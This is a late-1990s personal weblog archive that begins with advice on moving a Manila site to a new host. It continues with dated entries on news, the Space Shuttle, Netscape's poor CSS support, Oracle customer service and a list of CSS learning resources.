  • Incorrect URLs: there are a few small places where your old URL probably will show up, all of which are in the administrative preferences sections. In the Membership panel, the email bulletins probably contain a URL for the unsubscribe page; in my site, it still was the old URL. Likewise, the master page template on the Advanced panel had my old URL as the link for the page title, and I had to change it. Since I currently don’t have a search engine set up, I don’t know if URL for the home page in the Searching panel would have been updated; you’ll want to look at this as well. And last, in the Advanced panel, any links to your own site in the Navigation section will probably have to be changed, especially if you’re going from a site that was down a path folder from the website’s root level to a site that is at the website’s root level.
  • Incorrect addresses: So far, I’ve found at least one place where the address to my website was incorrect after moving it. In the website root, check out the #discussionGroup/prefs/adrMsgReader entry; this address probably needs to be updated to reflect the new root file.
  • Shortcuts: your old Manila provider probably had a big glossary of shortcuts, and you probably utilized them once or twice. Now that you’re on your own, those shortcuts may not go anywhere. Your options are twofold: recreate them (easy if you only used one or two of their shortcuts), or ask your provider if they would be willing to give you their glossary. Userland’s glossary, which is what runs behind ETP, can be grabbed here (and they religiously keep it up to date).
  • Syndication and Monitor Memberships: Of course, if you are currently a content provider for My.Userland, a member of Weblog Monitor, or subscribed to any similar services, you’ll want to go to them and update your information. For My.Userland, you want to go to the Change URL page (you’ll need to know your channel number); for Weblog Monitor, you go to your prefs page.
  • Redirection: Lastly, you will want to ask your prior Manila provider to provide you with a redirection from your old site to your new one (unless you have worked out something else, or the terms of your agreement with them excluded this option). This is actually a very easy thing for them to do; there’s an (undocumented) feature of MainResponder (the web server framework on which Frontier and Manila are built) that lets the person running the server just put a #redirect entry at the root of the site’s table. This entry is the base URL of the new site, and according to Brent Simmons, this method of redirecting means that all requests to the old URL will be totally rewritten to the new one. (Thus, http://a.site.com/discuss will be rewritten to http://b.site.com/discuss, rather than just being thrown at the root http://b.site.com/. Very nice.)

Once you make these minor changes, you’re done — your site is set up, and you’re ready to rock.

Making your life easier from the very beginning

There is a step that makes your life significantly easier when you’re moving your website, and it’s something that you have to implement from the very first day of using Manila, even at the old site’s location: use relative, not absolute, URLs in all of your self-referential links.

What do I mean by this? When you’re linking to some other day’s discussion group message list, you can write the link two ways:

  • <a href=”http://my.site.com/discuss/1999/12/20”>
  • <a href=”/discuss/1999/12/20”>

The first one uses an absolute URL — the URL specifies everything, the http protocol, the hostname, the path, and the document. The second one uses a relative URL — by omitting the http protocol and the hostname, the browser just tacks on the current ones to the given link path.

Why does this matter? Because when you move sites, your hostname generally changes. By using relative URLs throughout your site, you won’t have to go in and change all of those links; they will point to the right place, since the browser will just use the hostname from the home page of the site to fill in the rest of the link location.

Note that you should use this practice everywhere — in your master page template (I even use <a href=”/”> as the link for my page title), in your daily entries and stories, in your image SRC tags (if you’re using images uploaded into the pictures section of your Manila site), in your handmade shortcuts, and everywhere else you can think of.

In closing…

Have fun with Manila. It can do amazing things, and it can make your life easier while doing those amazing things. You aren’t limited to weblog-type sites, or to discussion group sites; I have now written image processing and photo browsing sites, database maintenance sites, and simple redirection sites, all with the exact same basic tool.

Also, play with it, get comfortable on the server side, and spend time tracing through scripts. You learn a lot, find features you never knew about, and have plenty of “Aha!” moments. You will write better scripts in the end, and you will definitely be worth more as a site designer and suite designer than before.

Lastly, continue to work with the community to find features, solve problems, and suggest solutions. There’s plenty of room to grow, both in the community and in Manila.

Welcome to the new home of Q! Please note that the URL in your browser address bar may be different than what you typed or bookmarked; the new URL here is http://q.queso.com/. You probably will want to change your bookmarks. The fact that you’re reading this here, though, demonstrates how powerful Manila can be. More on this later… And thanks to Userland for redirecting my old URL!

NOTE: everyone’s passwords have been changed, as a necessary consequence of downloading the site from ETP. If you shoot me off a quick email, I’ll let you know what your new password is; I’ll get back to you right quick.

New story: Of Manila and Portability. Talks about me moving my site from ETP to here, and gives tech notes and advice about the process.

Interesting… the 9th District US Court of Appeals ruled that making illegal pornographic images of people who look like children is unconstitutional. I was just having this argument with my brother (who is a lawyer) recently. A consequence of this is that Patrick Naughton will now ask for a new trial (although apparently the images on his laptop were of actual children, so he is appealing on a technicality related to jury instructions). And on a related front, a middle school teacher allegedly showed 12 and 13 year old boys porn sites on the ‘net (not like the kids probably hadn’t found them on their own already!).

This is strange… after posting the links above, I went to Bad Hair Days for my daily read, and she has every single one of them on her weblog. Synergy, or just spooky.

Come on… tell me you don’t think this is at least mildly funny.

American Beauty garnered six Golden Globe nominations. If you haven’t seen it, it’s worth it; a great dark comedy with some terrific acting.

I had no idea that Ben Affleck actually contributes to his own official site. Pretty down to Earth, actually.

This is a great website about one man’s attempt to set up a Post-It conversation on a building wall. (Found at Lake Effect, which seems to cover the Chicago beat well.)

Fox Television provides us with today’s sign that we’re very near the apocalypse with their in-production show, Who Wants To Marry A Multi-Millionaire. The whole concept is inane; there should be more to a person’s dreams of wedded bliss than oodles of money. My personal favorite is the potential contestant’s mother who justified their interest by saying:

“Growing up, Wendy always wanted her own aquarium and zoo. How else would she get this but to marry a millionaire?” asked Gibson.

The necessary gaggle of Space Shuttle links, now that they’ve gotten it into orbit: you can track the Shuttle, you can watch NASA TV, you can see the pre-flight images (including generally the nicest launch pictures of the lot), and you can check out the images and videos from the mission.

No! Desmond Llewelyn died in a car crash today. Besides being a name-alike for this site, he was a terrific actor, appearing in over 30 movies and a good number of the Bond films.

The Shuttle is now spaceborne.

So, after getting the spam from AOL themselves yesterday, I forwarded it to abuse@aol.com. It bounced back to me as undeliverable — “connection refused”. Somehow seems par for the course for AOL. And it turns out that Chuck Taggart got the same spam (see his 12/17 entry).

Relive your childhood — online Etch-A-Sketch. (Of course, a better alternative would be to buy a real one, since there’s no way that a Java applet can simulate the fun of holding one in your hands.)

This is tres cool — contact lenses to correct colorblindness. I’m interested in finding out how these work, since colorblindness is more or less a physiologic deficiency, an absence of some or all cones (the color-sensing part of the retina) or the absence of a photopigment in the cones.

Garry Trudeau pens a tribute to Charles Schultz and Peanuts, saying that he is one of only two cartoonists that had the power to change the world.

Today’s sign that we’re nearing the apocalypse: James Brown named Strom Thurmond as a “hero of the 20th century.” Yes, the same Strom Thurmond who ran most of his early political campaigns, including his bid for the Presidency, on a strict segregation platform. Then again, yes, the same James Brown who has used enough drugs that there’s no telling how well his brain works anymore.

Thank GOODNESS that domain names can now be 67 characters long — I was feeling pretty darned oppressed that they wouldn’t let me register whoingodsnamewouldwanttotypeadomainnamethislongjusttobuycrap.com.

It turns out that Newt had a honey on the side while he was lambasting the President for doing the same, and even while he was trumpeting the Contract With America. (And by settling his divorce suit with his now ex-wife, his answer to her interrogatory “Do you believe that you have conducted your private life in this marriage in accordance with the concept of ‘family values’ you have espoused politically and professionally?” does not have to be made public.)

Here’s a much-overlooked way to avoid all of the portal-like blinding eye candy at Altavista — I don’t use the main page anymore.

Ah, back on the ground in NYC. The plane flew north up the Hudson River from the Bay, and I was on the right side — so I got an awesome view of the whole city. I love when things work out just right.

The friend that I mentioned a few days ago (the one who passed on the link to the young George Lucas movie) made me feel guilty for not identifying him — he’s Phil Jache, and he works with me. (I was actually waiting for him to set up his own ETP site and then ID him by pointing to it, but it looks like he’s too lazy, busy, or both.)

The tree-freak returns to Earth. I’m really glad that she was able to save her single tree (plus a buffer zone, apparently).

shuttle shadow

Will the Shuttle get off the ground tomorrow, at least? I hope so… the space program is having enough trouble already, and the Hubble deserves to be fixed.

Woo hoo! NBC is filling the Friday night, 10 PM EST time slot with Law & Order episodes. Awesome.

Beth is in rare form today:

I would like to live out the rest of my life without having to look at Jennifer Love Hewitt, especially if she’s going to dress like this. And get that simpering look off your little underfed rat face, you twit.

In a bit of twisted irony, Boy George was almost killed by a huge falling disco ball.

Apparently, Roger Ebert doesn’t like digital projection. Unfortunately, I didn’t get a chance to see Phantom Menace or any of the current animated releases digitally; I really want to figure out when one of them is coming to NYC.

From the dotcom law front: a former Playboy Playmate is allowed to call herself a Playmate, and etoy.com gains supporters in its fight against the evil eToys.

So, I wrote a web page three weeks ago, and created a new email address specifically for inquiries about that page. Yesterday, I got spammed by AOL — an ad for AOL Instant Messenger, with the statement at the bottom: “You have received this e-mail based on your interest in the products offered by America Online, Inc.” I hate that crappy company. Does anyone know a phone number to AOL customer support? (mail me)

Sorry about the quiet day — I was in my last interview of 1999, and it went fine. It snowed here in Chicago today — beautiful, fluffy snow, it made me very happy. But this story makes me not want to fly out tomorrow… alas, I must.

In addition, my T1 at home just came back up late last night — no explanation for the outage, and since they never had access to my apartment, either it was a spontaneous thing, or they really could fix it without needing access. Whatevers.

Quick hello from the Cleveland-Hopkins International Airport… I think that it’s tremendously cool that I can just plop down, plug my laptop into a phone jack on a payphone, dial an 800 number, and be on the ‘net. The interview at Rainbow Babies & Children’s went well, and all of the people seem to be very happy there.

Huh? I mean, I didn’t have access to all the information or evidence, so I can’t really comment on the no-verdict part. I just hope that the jury didn’t buy into his argument that his dirty talk and planned triste with the ostesible 13-year old was due to the high stress of his Internet job.

Darn it all, the Shuttle launch has been delayed again.

Darwin was right — there is a natural selection that works against idiots. Did he really think that issuing a death threat under an assumed name on the Web was an undefeatable disguise? Of course, then there’s this guy who used a harmless baby python in a holdup

CamWorld’s new design is quite nice, and I like the little light popping out of the box on his banner.

I go away today on another interview series (Cleveland & Chicago). But, then again, my T1 is down this morning, so I couldn’t really update the page from home this morning if I wanted to. Alas, my laptop will be with me, so I can update when I get to Cleveland today (the power of Manila).

Of course, every time a dedicated line goes down here in NYC, it means another struggle with Bell Atlantic. This time, they couldn’t generate a trouble ticket when I reported the problem because the system was being backed up, then once they were able to generate the ticket, they didn’t have enough time to get to the apartment before I had to leave for the airport, and now, they’re completely unwilling to test all of the equipment outside of the apartment unless they are also guaranteed access inside the apartment (which is tough, since I’m in Cleveland). Bleah.

Something I’ve learned over my 3 1/2 years of med school is that living unrelated organ donation is an ethical minefield for doctors and hospitals. With organ shortages and presumed denial of donation at death, people go to great lengths to get organs for themselves and their loved ones, and hospitals have to at least try to screen out people who are attempting to circumvent the process.

The House is looking into hearings about the judges’ deciding not to disclose their disclosure forms. I agree with their motives here — “Judges may not have anything to conceal, but the perception is such.”

Jason Kottke has himself one of uReach’s free toll-free numbers, and has been inviting people to leave him dirty messages. Yesterday (12/14), he posted all of the messages that he’s received, and the actual presentation is quite cool. The messages, though, are quite tame; I, too, encourage people to call him at (877) 218-0260, if for no other reason than he’ll post the messages and we’ll all get a good time out of it.

Something like this is in the news every year or so, and it makes me wonder why people do it… it can’t be that exciting to pull people over. And does the guy have a fake ticket book? What happens when those people then show up to court? Weird.

Windows 2000 is released to manufacturing. I’m actually pretty durned excited by this — it looks to be a very nice upgrade, at least for the things that I do and the systems that I run.

There’s a tentative deal in the NYC MTA strike. (The deal is the only reason that I got to Cleveland; otherwise, I didn’t really see how I was going to get to the airport. I just hope the deal’s still in place when I fly back…)

Good grief! Charles Schultz is retiring Peanuts, after 49-plus years of influencing, reacting to, and generally making more pleasant American life. It ran in over 2600 newspapers weekly, which is just an astounding number. I wish him the best of luck and health, and will sorely miss the gang.

The judges today deny APBNews’s request for disclosure documents. I think it will be very interesting to watch this issue as it winds its way through the court system; the interplay of this being an issue about judges, being decided by judges, will be particularly interesting.

Marv Albert returns to the NBA on NBC. I always loved listening to him broadcast games, and his return to Turner Broadcasting made me pretty happy.

The theory of relativity explained using words that are all four letters or less. One of the best reads that I’ve had in a while, but even simplified, I got lost along the way, had to reread, think, reread, exclaim “Oh!”, and continue.

There’s just no way that this company, and their product, can be real. (Warning: R-rated material!)

Ranting on Vignette’s Story Server, Dave Winer today continues to maintain that it’s an offensive product in part because its initials are SS (just like the Nazi secret police). So I guess that we should give up on the Space Shuttle, burn the movie Slap Shot, never go to Shea Stadium, rant about the kids who wrote Sailorme Select as a school project… or just stop reading things into places where they don’t exist.

Speaking of Shea Stadium, it definitely would have been more fun to watch Griffey out there!

Another tech executive arrested for allegedly intending to consort with a minor. I hope we’re not seeing the start of a trend here… ugh.

It seems that they they finally found the disk corruption bug in the stable tree of the Linux kernel. I found this fascinating, mainly because linux-kernel conveyed the frustration of the people involved quite well as they moved from not knowing what was happening to having a fix in hands.

New York City schools have been keeping dead children on the rolls in order to inflate state aid payments, Governor Pataki alleges. (There’s a lot of politics in and around the NYC school system.)

There’s now a restraining order to “prevent” a NYC MTA strike, but it appears to exist just to allow the city to punish those who do strike, not to really prevent them from doing so. The restraining order puts the fines at: $1 million a day against the union, $25K a day against every member who strikes, and $10 million to cover the Board of Education’s expenses. The numbers double for every day of the strike. Those are biiiiiig numbers…

Does anyone have any good pointers to resources to make a computer more kid-friendly and kid-proof? (Things like command shells that minimize the effect of a three-year-old banging away on the keyboard, or hardware that’s more kid-friendly, like colorful keyboards.) Feel free to post in the discussion group, or mail me.

It seemed that Dave was “telling me off” somehow the other day, but now he and Charlie Wood, maker of Vignette, are doing the same thing that Jason Kersey and I were doing…

Today’s Suck is great. I’ve been waiting for a good parody of slashdot for a while.

Bob Young writes to tell us that Red Hat has reported its first quarterly income. “I was walking from my office to the confrence room when I found a 25-cent piece lying on the ground. Instead of putting it in my pocket, I added it to the company’s balance sheet and, well, I think that kind of revenue stream more than justifies our stock price.” And cynics said that “free” software couldn’t make money!

We’re starting a discussion about appropriate uses of CSS within Manila, for those who are interested; I encourage all who are to participate, since this could well shape the innards of the product that we all have grown to love!

STS-103

Yay! I was beginning to think that the Shuttle would never fly again…

Since we’ve been on the subject of browsers, CNet News has an article about bugs in both major flavors today. (People tend to blame the MSIE bugs on the prevalence of ActiveX in the browser, but all of these bugs seem to be legit plain programming errors in the code of the browser itself.)

My friend yesterday passed on a link that I had totally forgotten about, but is still one of the funniest things on the web. The video isn’t HandiCam-quality, either — it’s movie quality, and quite well put-together.

The articles and commentaries that are coming out of the GOP campaign are great. Salon has a funny quiz meant for Bush today, in light of his answer to the now-famous what-book-are-you-reading New Hampshire debate question. Meanwhile, Barbara Bush’s comments seem to indicate that, so long as you work hard in college, a little cocaine is a just reward. And while I feel sorry for Alan Keyes’ seemingly impossible goal, this is funny.

I love The Onion. They can make me laugh almost on command.

The Non-Dithering Colors by Hue page could well be my second-most-used HTML development resource (with Index Dot HTML being the first).

An ugly chapter in New York City’s history comes to a close (except for Volpe, for whom it’s just beginning, in relative terms).

It seems that progress is being made in the NYC MTA strike negotiations. (Also, a CNN article raises an issue that I didn’t know about — the fact that there’s a law, the Taylor Law, that could lead to pretty big punishments of striking union members. Interesting; I’d love to know more about it.)

[Macro error: Can’t evaluate the expression because the name “title” hasn’t been defined.]

http://www.westciv.com/style_master/academy/css_tutorial/index.html
— This may be the best, by far, to learn CSS — it’s a handbook of sorts, that walks you through CSS development. This is where I got my start with CSS.

http://webreview.com/pub/guides/style/mastergrid.html
— This is a grid of CSS support by browser put together by WebReview. Good when you have to figure out why a feature isn’t rendering right, or if you need to develop for a specific browser and don’t know what features aren’t supported right.

http://www.blooberry.com/indexdot/css/index.html
— Once you have a handle on the format and syntax of CSS, this is, BY FAR, the best reference source. It comes from Brian Wilson, who does Index Dot HTML as well; it’s a clikable dictionary of CSS terms and what they mean, and also contains browser peculiarities for each. Great, can’t say enough about it.

http://msdn.microsoft.com/workshop/author/default.asp
— This is Microsoft’s reference source. I use it a lot since I have to develop for IE for most of my projects; other than that, though, it is a great place to see what features are out there, and to see code examples of each.

http://www.w3.org/Style/CSS/
— This is the official W3C resource for CSS. It has their reference sources, and a good what’s new list of things that have to do with CSS (new browsers, editors, and the like).

http://css.nu/
— This is a community-run website (the community being the people from comp.infosystems.www.authoring.stylesheets) that serves as a clearinghouse of CSS information. Very thorough.

comp.infosystems.www.authoring.stylesheets
— The newsgroup. Said to have less meaningless chatter than a lot of Usenet newsgroups these days.

One of the things that frequently amuses me is the holier-than-thou attitude that people adopt here and there, when it’s convenient to their current stage in life. Especially when it’s by people who regularly engage in that which they mock.

The Spurs lose to the 6 and 16 Washington Wizards, and they do so at home (which they had not done in 22 games). Oh, the embarassment, especially since my brother-in-law is a Wizards fan.

It seems wrong that our current domain name system cannot handle something like this.

These people are my heroes. It’s funny, every member of my family has become addicted to Law & Order on our own, without the help of each other. Strange.

American Beauty was named the best film of the year by the National Board of Review. (I don’t know who the NBR is, but I do agree with their choice!)

This is slightly funny, in an eerie sort of way. (I still like that damn chihuahua.)

The Oracle saga continues — after I left work on Friday, they called to tell me that the product that I ordered, and about which we had spoken about two dozen times, is out of stock. Shocking, but increasingly typical.

In light of my clear pro-CSS stance, a few people have asked me for pointers to good resources, either for learning CSS or to use as a reference. I’ve put a list together, and encourage others to add to it as they see fit. The more people we get using CSS, the more bugs will be worked out of the browsers, and the better sites will look.

I feel like there’s no way that I can support a company like eToys, who sued and got an injunction against a European group of performance artists who use etoy.com. Never mind that etoy.com was registered a full two years before etoys.com, or that they’re not even in the same business, or that eToys apparently asked etoy.com to sell them their domain name and was turned down. Total children, and this is not an online neighbor that I’m happy to have around. (Wired has a good recap of events, as well.)

Seemingly good places to spend your toy money online: Noodle Kidoodle (I love their Manhattan stores), Zany Brainy, Toys To Grow On, and KB Toys.

For those of you familiar with New York City: this time of year is always a little more hectic, with the increased numbers of shoppers, tourists, and conventioneers. But I’m a little terrified of what will happen if the MTA decides to strike this week. Rudy has put together an interesting contingency plan if it does happen; let’s just hope it doesn’t get that far.

A lot has been written recently which purports that people just don’t seem to understand what it takes to make Mozilla into the best, and that we all just need to pipe down about the problems in both the currently-shipping Netscape browser offering and in the development cycle for Mozilla. (Some of this seems to stem from my postings and comments on this issue over the past week.)

There are a few major problems with the line of thinking that’s driving the current Mozilla/Netscape/AOL defenders:

  1. Netscape, whether or not they want to say so, should feel like they have at least an iota of responsibility for fixing the major showstopping bugs in their currently-shipping product. Here, I am referring to pages with up-to-spec CSS just plain crashing their browser; the fact that a developer contacted them to ask them to help, and their response was that they were too busy on ther next version to fix this, is just abhorrent.

    Imagine if Microsoft Word had a bug where opening up a document saved in a prior format just crashed the application. Now imagine if, when contacted, they said that they wouldn’t bother fixing it, because Office 2001 is currently in development, is a new code base, and people can just wait for that. I guarantee that you’d read about the ensuing fracas on major computer news sites, Slashdot, and possibly even on Scripting News — because it’s Microsoft that’s involved. The fact that Netscape is the company here that’s making a totally stupid decision is what is making people defend them. They’ve got a good thing going, I guess. (I imagine, though, that the real reason that nobody cares about this is because Dori’s right — Netscape is irrelevant, and thus, nobody is even bothering to lift a finger.)

  2. While the Mozilla group claims that things are moving so slowly because, for once, they’re trying to do it right, what they in fact are doing is adding more bloat, features, and doo-dads to the application that don’t matter, and methinks this is what’s taking so long. Sure, it will be a browser. It will also be a mail client, a news reader, an instant messaging client, a voice-over-IP client, a client for news, travel, and financial data, a portal, and possibly will make your bed for you. The scariest quote from the above-quoted PC World article:

    Netscape says it will more heavily leverage AOL properties, including shopping sites, from within the browser. Netcenter services are also being more tightly woven into the browser, along with many “modular” add-ons that will let users tailor the browser’s appearance.

  3. Netscape’s gotta take the bad (or what they see as the bad) with the good. By choosing to make the Mozilla development process a public one, they have opened themselves up to public criticism of that process. And given both that their current browser is terrible and that the product of the Mozilla development process doesn’t look to be anything like what I want to use in my daily browsing life (and, so far as I can tell, this amalgam of tools lumped into one app isn’t what most web users want to use either), I feel like web developers are getting shafted. Thus, criticism.
  4. No matter what they use to justify their current timetable of development and lack of willingness to fix their current browser, or what my or anyone else’s opinions are about their strategy, Netscape surely should realize that their continued path can only lead to irrelevance. StatMarket’s one-year trend graph of Microsoft vs. Netscape is pretty telling — as Netscape dawdles, Microsoft wins. (Note that I’m not particularly pro-Microsoft on this issue except for the fact that Microsoft’s browser is clearly a better one. If BrowserCorp or WebCompany or HTML’R’Us had a browser that did CSS and was quick and didn’t crash and was free, then that graph would probably look a bit different, and I’d feel a bit different.) We can all argue and argue and argue on this, but in a year, I’m willing to bet that even with Mozilla on the scene, that graph won’t look too different, and as a developer, I’ll still be developing sites predominantly for MSIE.

So, in the final analysis, it’s interesting to me that the people who put forth the lament that people just don’t understand what it takes to make a better browser clearly believe that this whine will change reality, and that people will take a step back and stop switching away from Netscape and to other browsers. People probably feel bad for their plight, but this doesn’t appear to be a strong enough reason for them to stop fleeing Netscape’s product.

(And as a postscript meant specifically for mozilla.editthispage.com: I’m running Mozilla on three different platforms, but I’m not seeing anything groundbreaking, and I’m not tempted to switch. Oh, and your comments regarding AOL’s blocking of AIM interconnections demonstrate a fundamentally flawed understanding of AOL’s own statements, releases, and actions earlier this year; your snide remark about the BetaNews user comments smacks mostly of the “I can’t defend someone so I’ll insult their attackers” mentality.)

[late note: I posted a followup to this diatribe at this location in the discussion group.]

Late start to the morning — company Christmas party was last night, and even though I didn’t drink all that much, I feel like I did. But now, my favorite radio program, Filet of Soul, is on WBGO, which is a good way to wake up on any day.

A little afternoon whining from a new EditThisPage.Com site about some web developers’ reactions (including mine) to Mozilla and Netscape. I didn’t feel like inundating all of you with my response if you don’t care about the issue, so you can read it here if you are so inclined.

So, the judges are at it again. Seriously, how can these people justify not letting the disclosure information out? It was intended for public consumption, and now that someone wants to help the public consume it, all of a sudden things have changed. My favorite bit of this article, about how the meeting was closed to the public and the press:

An APBnews.com reporter was instructed to wait in the enormous glass atrium separating the two halves of the office complex. Three hours later, a security supervisor informed the reporter that he was “loitering” and would have to leave the premises. “You have been observed by persons in this building standing here for several hours and that you are therefore loitering,” said the Admiral Security supervisor, who did not identify himself.

Patrick Naughton’s jury started deliberating yesterday. He’s claiming that his interest in the ostensibly-13-year-old girl was “purely fantasy, an escape from the stresses of [his] successful career.” Ick.

One of the coolest things on the Web: a real Magic 8 Ball, being shaken by a Lego MindStorm robot underneath a webcam. And I love his motto: “50,000 years of technological advancement has culminated in a system to bring you mysticism on demand.”

The hands-down mack daddy of all CSS resources. Brian Wilson is The Man.

Is it just me, or has the linking to epinions died down a lot? Not so long ago, it seemed like everyone and their mother was linking to their reviews on epinions; now, a nice calm break in the storm. Please tell me that things will stay this way…

Has anyone been able to get their hands on the Lucent WaveLAN Turbo wireless networking cards? The Silver card is what is inside of the Apple AirPort base station, but other than that, I have not been able to find any retailers or distributors who have stock yet on these. I also would love to hear from people who have gotten their hands on the ethernet bridge that’s part of this line. (mail me!)

A gracious thank you to Dave Winer, for his comments in today’s Scripting News.

State of Mind: the online radio station that I spend a great deal of time listening to, Dreamland Radio, has the Peanuts theme song in their rotation. Every time that it comes on, I feel good. I like that.

I just got my new Hot Little Therm, and am still just as happy as when I got the first. It’s just so durned cool. (For more info, see my blurb from yesterday.) And if you want to see the end-result of my Hot Little Therm project, check out QuesoTherm — it’s the server room temperature monitor project I mentioned yesterday.

Andrew Woolridge’s posting to Discuss.Userland.Com demonstrates the mindset that scares me about Netscape. He waxes poetic about the high standards that Netscape is shooting for on their 5.0 “offering”, when there are serious problems in their current browser that they’re unwilling to address. And his parting comment about being the only Linux browser feeds my perception of Netscape as a company that will answer your criticisms with comments of “at least we’re good at something else!”. I cannot wait for Opera to come out for Linux — then Dori will be right, Netscape will be irrelevant.

My beloved Spurs break their losing streak against Vancouver last night. Thank GOD, but it’s a little depressing to me that it took a 42-point game from Tim Duncan to beat the 4-15 Grizzlies; methinks that Avery Johnson was right when he said that the Spurs have yet to come down off of the ego-high of winning the NBA Championship last year.

From the Not-So-Cool-Unless-I-Were-The-One-Getting-It department: today, Palm Computing will receive the six millionth U.S. patent in a ceremony in Washington D.C.. (It’s for HotSync.)

I have always been convinced that there are certain classes of people who are destined to go straight to that hot place down below, sans the benefit of judgment — nun killers, church vandals, and now, women who steal stuffed animals and other momentos off of graves.

Years and years of therapy.

Something goes right in space (although it’s not the U.S., and it’s not a Mars program, so this isn’t all that fair a comment).

I know that I can’t be the only one who’s a little despondent over the silent little electronic critters that are sitting on the face of Mars right now (or perhaps the burnt shards of them?), desperately searching for home. I sure wish that we all could have heard the sounds coming out of the Mars Microphone… that would have been as cool as seeing the video from the Pathfinder mission.

So, three or four days ago, going to www.wired.com brought you to, well, www.wired.com. Then, going to www.wired.com brought you to wired.lycos.com. Now today, we’re back to www.wired.com. What gives?

OK, time for me to vent a little. Oracle is a terrific database company, I won’t take that from them, but they are a terrible customer support company. We pay over $20K a year for our customer support contract with them, and for that, we get tech support cases that are ignored or closed without consulting with us, orders for new software that just go unfilled, and pretty terrible tech support agents to boot. I told them today that they are one bad call away from me migrating completely to Microsoft SQL Server; I don’t know that the support will be any better on that side of things, but I do know that I cannot spend this kind of money on Oracle and get the terrible service that I do.

Quick update before I hop on the plane home: the interviews went great. UNC has a pretty top-notch pediatrics residency program, with some incredible teachers, motivated residents, and interesting patient population; they also are currently building a brand spankin’ new freestanding children’s hospital that is planned to be open around this time next year. And in the something-I-hadn’t-anticipated department, schools are seemingly very interested in potential residents with strong computer backgrounds. I really should have been able to guess that, but I never really thought about it.

You know this guy was just doing it to see if he could. Really, there’s no other explanation.

AAAARGH! It just hit me that, due to my flight and pre-interview stress, I completely forgot that Law & Order was on last night. Was it a new one? If you saw it, please let me know!

Is anyone else as chapped as I am about the judge who has placed a ban on the release of judges’ disclosure information? It appears that this man is all for the release of the information when it isn’t going to be all that useful, but when it comes to someone wanting to put it closer to the hands of everyday citizens, he’s against that. Should judges be allowed to be in charge of the decisions about things this closely related to their own personal interests?

So, one day a few weeks back, the air conditioners in our brand-spankin’ new server room here decided that they didn’t like to be on all the time, so they conked out. And the temperature got to somewhere around 140 degrees. Not good. I then went shopping around, and found the coolest little gadget ever, the Hot Little Therm. Made by SpiderPlant, it’s just a little box that attaches to your serial port; out of it come one-plus thermometer probes. Programming the thing is a dream; I now have a machine that feeds temperatures every minute into my Oracle database, and a web page that gives me up-to-the-minute temperature readings as well as varied highs and lows. Pretty swank, and completely trouble-free. I recommend this thing highly.

Yet one more reason I currently hate Netscape. The style sheet for this page had “margin-left: 20px” within the style for P.quote; I had to remove it because with that one line in, Netscape stopped showing the calendar at the right of my page. (Try it yourself! This link is a static version of this page, but with the offending line in the style sheet. Open it in Netscape, and you probably won’t see the calendar on the right.) I’m running Netscape 4.6 on Linux and 4.7 on Win32; both have the problem. If your mileage varies, or if I am just doing something plain wrong, please mail me. (For more on my problem with Netscape, read Don’t cry for Netscape.)

Interestingly, I tried “margin-left: 10px”, and Netscape did show the calendar, except it was off to the right past the right margin of my window; I had to scroll right to see it. Why is Netscape’s product so bad when it comes to CSS?

Today, I’m headed to North Carolina for a pediatrics residency interview, so wish me luck! It’s at UNC, which has a pretty terrific program, and the cool part about it is that I am staying with an old medical student of my mother’s, who has two kids of her own and is a part-time pediatrician to boot. So circles are closing, and hopefully, karma is on my side.

A terrific article from Slate on the Phoenix GOP debate. By far my favorite quote (which is something that I have been bemoaning since the day I first heard the man speak):

One lesson Bush obviously did not learn from Dean Acheson is how to form a grammatical sentence. Maybe he does better in Spanish, but the man can barely speak English. W.’s most common difficultly, as in the above passage, is with noun-verb agreement. When he gets even slightly worked up, he can’t arbitrate between his seeming need for a plural verb and his seeming need for a singular one. So he uses both, as in his favored expression “are is.” Bush also commonly removes the “to” from infinitives, as with “in order promote the peace.” Syntax is not his friend.

This is somewhat scary. I was about to make a comment to the effect that this is why I don’t want to stay in NYC once I’m ready to have and raise kids, but I realized that there’s no reason why this is a pure NYC phenomenon… and I could easily envision this anywhere where schools are under pressure to raise their competency level marks.

Damn.

I know, I’ve seen links to this before, but I just read more about it and it looks to be the coolest new technology that I’ve seen in a while. Some of it may be that the disks need to be transparent in order for it to work, which just makes them look that much cooler; another part of it may be that I just cannot envision the amount of storage space that they’re talking about — it’s like trying to envision the size of space (as in the stuff beyond the exosphere… or is exosphere space? I never can remember that one.).

Oh, and one small plug for my favorite online radio station (if only Live365 could keep their stuff together!).

Just a little late-night rambling, after running up against numerous walls…

CSS and web design

If you haven’t used or read about Cascading Style Sheets before, I urge you to jump on that bandwagon now. Designing web pages and web sites with consistent looks and feels has never been easier; CSS has changed my life.

For those of you who don’t delve into the depths of HTML that often, suffice it to say that long ago the division between content and design was lost on the Web. One document held both — and this meant that maintaining the same design elements and paradigms on anything but the simplest web page was a challenge, and doing so across a site or two was near impossible. But then, CSS came along, and let you put the design markup in a different document (a Cascading Style Sheet), and then have your web pages (your content) reference that style sheet. Voila, easier and more consistent design.

Imagine being able to create a page with a few similar tables, and not having to specify the cell padding and cell spacing for each one. Imagine writing a daily document or note, and being able to format each part of the document or note the same every time, without having to specify all of the elements of that formatting each and every time. Imagine being able to change the font of your entire website with one single edit to one single document. It’s all possible with CSS.

Who, us, CSS-compliant?

Unfortunately, since CSS is rendered on the client end of things, it’s up to the browsers to do the right thing — and Netscape is woefully inadequate at that task. Between a plain lack of support for basic elements (A pseudo-classes, background positioning, table borders) to buggy support for most others (background coloring of elements, text-align, margins) to a ridiculous lack of element inheritance rules, Netscape’s inability to release a CSS-compliant web browser is doing more to damage the development of web pages and web sites and web applications than anything that Microsoft has done. Right now, as a web developer, designing a nice web page that is intended to render both similarly and adequately on all machines is difficult at best, and impossible at worst.

I wish that I remembered which online magazine ran a great article recently about a developer who found that most of his pages were crashing Netscape completely. He called Netscape, and their answer was that they were way too busy working on version 5.0 to fix these bugs; essentially, they wanted him to understand that, since 5.0 is a complete rewrite, the chances of his pages crashing the new version would be lessened. Of course, since this week’s InfoWorld puts the alpha date for Mozilla at the end of this month, and the beta date sometime in February or March of this year, the developer has just banned Netscape from his site (he was sick of people cursing him out for crashing their browser).

(I still don’t remember what magazine ran the article, but the developer they were talking about was Jeffrey Zeldman, and his article about his experiences is a must-read. He subsequently has allowed Navigator users back into his site, with what appears to be a much-degraded design for them.)

It’s no wonder that users are flocking to Internet Explorer.

Oh yeah, and as of three days ago, you can download the platform preview of Internet Explorer 5.5 for Windows from the MSDN member downloads site. Great job, Netscape.

Resources

